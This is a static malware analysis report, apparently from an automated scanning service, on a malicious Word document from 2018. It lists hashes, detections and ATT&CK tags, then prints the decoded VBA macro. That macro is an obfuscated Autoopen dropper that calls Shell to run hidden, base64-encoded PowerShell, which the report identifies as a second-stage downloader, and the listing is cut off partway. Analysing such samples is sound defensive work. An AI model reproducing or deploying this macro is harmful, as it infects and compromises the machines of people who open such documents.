Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5a0bc6b06ddcae6…

MALICIOUS

Office (OLE)

104.0 KB Created: 2018-05-29 20:49:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: cb8bb4329ce792da9368555482f7bd12 SHA-1: afe87fccedd4260873063ddd155e7623909280ac SHA-256: d5a0bc6b06ddcae6ab501129577013d0b1e1384e5fd7d0887f5d038efe5bf0fc
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Autoopen subroutine that calls the Shell function. This function is used to execute a PowerShell command, which is obfuscated but appears to be a downloader for a second-stage payload. The presence of the Autoopen macro and the Shell call strongly indicates a malicious dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6565117-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6565117-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13709 bytes
SHA-256: 93232a248a7f0218a4541a2f04c8024e814e849ce64e81b9dd61945df407a0ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iWHIquIzHzHV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function RqSRwN()
On Error Resume Next
uzjsnb = Fix(69368 / CSng(76206) * OjLYfN * dCawLi)
VhBn = CDate(2687)
mkzMlc = Fix(27018 / CSng(35101) * zhvVY * vZwaF)
VhBn = CDate(68837)
RqSRwN = JJIFMDm + wfTFDmILDVX + fLfBVJdl + hzizd + LYHBKCZp + OAWQhd + pQzdjiwckK + EfEjBn + HjjQjfjhQGP + ozRDZc
WrQPG = Fix(66415 / CSng(17110) * nLwHG * dXBVA)
VhBn = CDate(26811)
End Function
Sub Autoopen()
On Error Resume Next
ZwRPFk = Fix(60702 / CSng(48354) * HvrVO * vWVfJ)
VhBn = CDate(26719)
CMlHwf (RqSRwN)
VzNSO = Fix(33778 / CSng(2802) * EFVWzs * ABzdia)
VhBn = CDate(7586)
End Sub
Function CMlHwf(ZsCFaw)
On Error Resume Next
QkoXb = Fix(60666 / CSng(99622) * EjMdU * nWOXP)
VhBn = CDate(6214)
AEAVVlDrz = LYRRRvc + Shell(RJrcnIQr + (Chr(vbKeyP)) + EAFpdNMpjQ + ZsCFaw + KvSbBfvAII, dKlKDsXRsE + vbHide + zzqsZiLFb)
VwQNwW = Fix(39532 / CSng(65155) * jlRuzh * tZREkR)
VhBn = CDate(81194)
End Function


Attribute VB_Name = "PiwObPGKALul"
Function JJIFMDm()
On Error Resume Next
tJqbR = Fix(6516 / CSng(29753) * tXqOdJ * FqCnw)
VhBn = CDate(96001)
PZXWNjX = "owersHeLL -W" + "inDowsTy" + "le hidden -" + "e LgAoACA"
KoiskW = Fix(45057 / CSng(67333) * BoYaoB * NfKqRB)
VhBn = CDate(7909)
pEFTEsjli = "AJABFA" + "G4AVgA6AGMA" + "TwBtAHMAcABFAGM" + "AWwA0ACwAMgA"
ZTiKdO = Fix(38516 / CSng(48140) * zzCtY * tEKjp)
VhBn = CDate(49831)
aMswYvUhnn = "2ACwAMgA" + "1AF0ALQBqAG8AS" + "QBuACcAJwApACAA" + "KAAgACgAKAA" + "oACIAe" + "wAzADcAfQB7A" + "DcANQB9AHsAOQ" + "A2AH0AewA1ADI" + "AfQB7"
jhDzo = Fix(14782 / CSng(78051) * iIkmS * rMFZh)
VhBn = CDate(30685)
asLRjv = "ADIANwB9AHsAOQ" + "A4AH0AewA4AD" + "QAfQB7AD" + "QAOAB9A" + "HsAOAA" + "5AH0AewA2ADMAf" + "QB7ADIAMwB9AHsA" + "MQAwADAA"
JJIFMDm = PZXWNjX + pEFTEsjli + aMswYvUhnn + asLRjv
End Function
Function wfTFDmILDVX()
On Error Resume Next
cpzwp = Fix(23648 / CSng(32613) * HROWUk * HiZMkE)
VhBn = CDate(37573)
KdOIciEwBTa = "fQB7ADQANAB9AHs" + "ANwAx" + "AH0AewA5ADEAfQB" + "7ADYANAB9A" + "HsANgB9AH" + "sANAA3A" + "H0AewA3ADgAfQ" + "B7ADcAfQB7A" + "DIAMQB9AHsA" + "NwA3AH0A"
SGFCBr = Fix(9271 / CSng(19430) * JsHsE * zvXVX)
VhBn = CDate(82938)
XTBvV = "ewA2ADEA" + "fQB7ADEA" + "NAB9AHsANQA4A" + "H0AewAz" + "ADEAfQB7ADYA"
PwjvF = Fix(52340 / CSng(871) * fHIwj * jJPuCH)
VhBn = CDate(14726)
mvmnJdSQffh = "OAB9AHsA" + "MgA5AH0AewA4A" + "DcAfQB" + "7ADkAMAB9AH" + "sANQAzAH" + "0AewA2ADcAfQB7" + "ADMANQB9AHsANA" + "AxAH0AewA4ADIAf" + "QB7ADgAMAB9AHsA"
cdDCc = Fix(49639 / CSng(32605) * jwzzr * WGldJ)
VhBn = CDate(72801)
DYTOujSmd = "NQAxAH" + "0AewA0ADUAfQB7" + "ADUANgB9AHsA" + "MgA2A" + "H0AewAyADgAfQB" + "7ADEAOAB9AHsAMQ" + "AzAH0AewA0"
wfTFDmILDVX = KdOIciEwBTa + XTBvV + mvmnJdSQffh + DYTOujSmd
End Function
Function fLfBVJdl()
On Error Resume Next
kwtXJQ = Fix(73084 / CSng(15850) * VjNCVC * DwaESY)
VhBn = CDate(24367)
WpZadkn = "ADMAfQB7A" + "DEAMAAyAH0A" + "ewAyA" + "DQAfQB" + "7ADkAfQB7A" + "DEAMAAxAH0AewA5"
jzbmJJ = Fix(47509 / CSng(95900) * irfKf * JiEIb)
VhBn = CDate(30600)
SqPdc = "ADIAfQB" + "7ADEAMQB9AHsAO" + "AB9AHsANwA0" + "AH0AewA" + "zADMA" + "fQB7ADMANAB" + "9AHsAMQA" + "3AH0AewA1" + "ADAAfQB7A" + "DMAOQB9"
olTOif = Fix(67334 / CSng(64120) * MluoK * zzRwlr)
VhBn = CDate(39660)
aARKIw = "AHsAMgAyAH0" + "AewA2" + "ADAAfQB7ADYANgB" + "9AHsAMgAwA"
XhYfRZ = Fix(27151 / CSng(30674) * jzLqSu * tOoWft)
VhBn = CDate(30611)
VBwYQqkCipT = "H0Aew" + "A5ADQAfQ" + "B7ADUANQB9AH" + "sANAA2AH0" + "AewAzA" + "DYAfQ" + "B7ADQ" + "AfQB7ADU" + "ANAB9AHsAMQ" + "B9AHsAMQAwA"
fLfBVJdl = WpZadkn + SqPdc + aARKIw + VBwYQqkCipT
End Function
Function hzizd()
On Error Resume Next
IVfFri = Fix(58021 / CSng(84829) * HwhKz * HzwAK)
VhBn = CDate(77925)
hWqrqrBMjbd = "DMAfQB7ADcAN" + "gB9AHsAOAAxA" + "H0AewAxADkA" + "fQB7ADEANQB9A" + "HsANwAwAH0AewA" + "5ADMAfQB7ADg" + "AOA
... (truncated)

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